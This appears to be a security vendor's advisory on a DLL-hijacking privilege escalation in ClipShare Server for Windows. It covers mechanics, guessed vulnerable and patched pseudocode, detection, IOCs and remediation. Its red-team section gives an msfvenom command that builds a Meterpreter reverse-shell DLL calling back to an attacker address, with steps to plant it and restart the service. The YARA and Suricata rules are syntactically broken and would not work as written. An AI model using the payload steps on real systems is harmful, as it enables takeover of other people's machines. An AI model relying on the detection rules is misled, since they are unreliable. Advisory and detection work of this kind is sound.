CVE-2025-49148

Executive Summary

CVE-2025-49148 is a high-severity (CVSS 7.3) local privilege escalation vulnerability in ClipShare, a lightweight clipboard sharing tool for Windows. The vulnerability arises from an insecure DLL loading pattern in the ClipShare Server for Windows. Prior to version 3.8.5, the application loads system libraries like CRYPTBASE.dll and WindowsCodecs.dll from its own directory before checking the system path. A local, non-privileged attacker who can write to the directory containing clip_share.exe can place a malicious DLL there. When the server loads the DLL, the attacker's code executes in the context of the server process. If the server is launched by an Administrator (or another elevated user), this results in a reliable local privilege escalation to SYSTEM or Administrator level.

This vulnerability is particularly dangerous in shared environments, such as enterprise workstations, terminal servers, or multi-user systems, where a low-privileged user can write to the application directory. The attack is local and requires the attacker to have write access to the application folder, but no other special privileges.

Supply Chain & Package Security

ClipShare is a standalone Windows executable, not distributed via NPM, PyPI, Go, or Ruby. Therefore, supply chain risks are limited to the integrity of the download source. Users should only download ClipShare from the official GitHub repository or trusted mirrors. The vulnerability is in the application's own code, not in a third-party package.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply writes a malicious DLL to the application directory.
• Privileges Required (PR): Low (L) – The attacker needs only low-privileged user access.
• User Interaction (UI): None (N) – No user interaction is required; the DLL is loaded automatically.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: High. The vulnerability is easy to exploit locally and leads to full system compromise. The lack of a public PoC or exploit code does not reduce the risk, as the exploitation technique (DLL hijacking) is well-known and trivial to implement.

Deep Dive & Mechanics

The vulnerability is a classic Untrusted Search Path (CWE-427) issue. On Windows, when an application loads a DLL without specifying a full path, the system searches for the DLL in a specific order:

1. The directory from which the application loaded.
2. The system directory (e.g., C:\Windows\System32).
3. The 16-bit system directory.
4. The Windows directory.
5. The current working directory.
6. Directories listed in the PATH environment variable.

ClipShare Server for Windows loads system libraries like CRYPTBASE.dll and WindowsCodecs.dll using a relative path or by name only. Because the application's own directory is searched first, a malicious DLL placed in the same folder as clip_share.exe will be loaded instead of the legitimate system DLL.

Attack Flow:

1. Attacker gains low-privileged access to a Windows system where ClipShare Server is installed.
2. Attacker identifies the installation directory (e.g., C:\Program Files\ClipShare).
3. Attacker writes a malicious DLL (e.g., CRYPTBASE.dll) to that directory. The DLL contains code to spawn a reverse shell, add a user to the Administrators group, or execute any arbitrary command.
4. When ClipShare Server starts (or restarts), it loads the malicious DLL.
5. The malicious code executes with the privileges of the ClipShare Server process. If the server was launched by an Administrator (e.g., via a scheduled task or startup script), the attacker gains Administrator or SYSTEM privileges.

Why it works: The application does not use safe DLL loading techniques such as SetDllDirectory("") or specifying full paths to system DLLs. The fix in version 3.8.5 likely involves using absolute paths or calling SetDllDirectory to remove the application directory from the search order.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 3.8.5): The application likely loads DLLs using LoadLibrary("CRYPTBASE.dll") or similar, without specifying a full path. This causes the system to search the application directory first.

// Vulnerable example (pseudocode)
HMODULE hCrypt = LoadLibrary(L"CRYPTBASE.dll");
if (hCrypt) {
    // Use functions from CRYPTBASE.dll
}

Patched Code (3.8.5 and later): The patched version uses absolute paths to system DLLs or calls SetDllDirectory("") to remove the application directory from the search order.

// Patched example (pseudocode)
SetDllDirectory(L""); // Remove current directory from search order
HMODULE hCrypt = LoadLibrary(L"CRYPTBASE.dll"); // Now loads from system path
if (hCrypt) {
    // Use functions from CRYPTBASE.dll
}

Alternatively, the patched version may use LoadLibraryEx with the LOAD_LIBRARY_SEARCH_SYSTEM32 flag:

// Alternative patched code
HMODULE hCrypt = LoadLibraryEx(L"CRYPTBASE.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Windows 10/11 or Windows Server 2019/2022 with ClipShare Server < 3.8.5 installed.
• Attacker: Low-privileged user account on the same machine.
• Tools: Metasploit, Cobalt Strike, or custom DLL payload.

Exploitation Steps:

1. Identify the ClipShare installation directory (e.g., C:\Program Files\ClipShare).
2. Create a malicious DLL that executes a payload (e.g., reverse shell, add admin user).
3. Write the DLL to the installation directory with a name like CRYPTBASE.dll or WindowsCodecs.dll.
4. Wait for ClipShare Server to restart (or trigger a restart if possible).
5. The DLL is loaded, and the payload executes with elevated privileges.

Example DLL (using msfvenom):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o CRYPTBASE.dll

Copy DLL to target:

copy CRYPTBASE.dll "C:\Program Files\ClipShare\"

Trigger restart (if possible):

sc stop ClipShareServer
sc start ClipShareServer

Blue Team

Detection:

• Monitor for file writes to ClipShare installation directory by non-admin users.
• Monitor for unexpected DLL loads from the ClipShare directory (e.g., CRYPTBASE.dll loaded from C:\Program Files\ClipShare instead of C:\Windows\System32).
• Use Sysmon Event ID 7 (Image loaded) to detect DLL loads from suspicious paths.

Hunting:

• Search for processes loading CRYPTBASE.dll or WindowsCodecs.dll from non-standard paths.
• Look for file creation events in C:\Program Files\ClipShare with DLL extensions.

Prevention:

• Apply the patch (upgrade to 3.8.5).
• Restrict write permissions to the ClipShare installation directory to only Administrators.
• Use AppLocker or Windows Defender Application Control to block unauthorized DLLs.
• Enable Safe DLL Search Mode (registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).

Indicators of Compromise (IOCs)

• File IOCs:

  • CRYPTBASE.dll in C:\Program Files\ClipShare\ (or any non-system path)
  • WindowsCodecs.dll in C:\Program Files\ClipShare\ (or any non-system path)
  • Any other DLL in the ClipShare directory that is not part of the original installation.

• Process IOCs:

  • clip_share.exe loading DLLs from its own directory.
  • Suspicious child processes spawned by clip_share.exe (e.g., cmd.exe, powershell.exe).

• Network IOCs:

  • Outbound connections from clip_share.exe to unknown IPs (if the payload is a reverse shell).

• Registry IOCs:

  • Changes to HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode (if attacker tries to disable safe search).

Detection Engineering

YARA Rule

rule CVE_2025_49148_ClipShare_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs in ClipShare installation directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49148"
    strings:
        $s1 = "CRYPTBASE.dll" nocase
        $s2 = "WindowsCodecs.dll" nocase
        $s3 = "clip_share.exe" nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        (
            ($s1 or $s2) and
            for any i in (0..filesize):
                (
                    (filename contains "ClipShare" or filename contains "clip_share") and
                    (filename contains ".dll")
                )
        )
}

Sigma Rule

title: CVE-2025-49148 - ClipShare DLL Hijacking
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects DLL load events from ClipShare installation directory
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49148
logsource:
    product: windows
    service: sysmon
    definition: 'Sysmon Event ID 7 (Image loaded) must be enabled'
detection:
    selection:
        EventID: 7
        ImageLoaded|contains:
            - 'C:\Program Files\ClipShare\'
            - 'C:\Program Files (x86)\ClipShare\'
        ImageLoaded|endswith:
            - 'CRYPTBASE.dll'
            - 'WindowsCodecs.dll'
    condition: selection
falsepositives:
    - Legitimate updates or patches that place DLLs in the ClipShare directory
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-49148 - ClipShare DLL Hijack - Potential Reverse Shell";
    flow:to_server,established;
    content:"|4d 5a|"; offset:0; depth:2;  // MZ header
    content:"CRYPTBASE.dll"; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-49148;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ClipShare to version 3.8.5 or later. This is the only complete fix.
2. Restrict write permissions to the ClipShare installation directory to only Administrators. Use icacls to remove write access for non-admin users:

   icacls "C:\Program Files\ClipShare" /inheritance:r /grant "Administrators:(OI)(CI)F" /grant "SYSTEM:(OI)(CI)F" /deny "Users:(OI)(CI)W"
   

3. Enable Safe DLL Search Mode via Group Policy or registry:

   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
   "SafeDllSearchMode"=dword:00000001
   

Long-term Mitigations:

• Implement application whitelisting (AppLocker, WDAC) to block unauthorized DLLs.
• Monitor for DLL hijacking attempts using Sysmon and the Sigma rule above.
• Conduct regular security audits of third-party software installed in the environment.
• Educate users about the risks of installing software in shared directories.

Workaround (if patching is not possible):

• Move the ClipShare installation to a directory where non-admin users have no write access (e.g., C:\Program Files\ with proper permissions).
• Use a symbolic link or junction to redirect DLL loading to a safe location (advanced).

Valters IT